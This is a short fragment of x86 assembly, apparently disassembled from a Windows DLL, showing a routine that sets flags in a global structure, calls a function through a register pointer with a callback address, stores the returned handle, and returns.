mov byte [ecx + 0xc], 1
jmp 0x10007994
mov edx, dword [0x1001aaf4]
mov byte [edx + 0xc], 0
mov eax, dword [0x1001aaf4]
mov ecx, dword [eax + 4]
test ecx, ecx
jne 0x100079bb
mov ecx, dword [0x1001aafc]
push 0
push ecx
push 0x100071a0
push 3
call edi
mov edx, dword [0x1001aaf4]
mov dword [edx + 4], eax
pop edi
pop esi
mov al, 1
pop ebx
mov esp, ebp
pop ebp
ret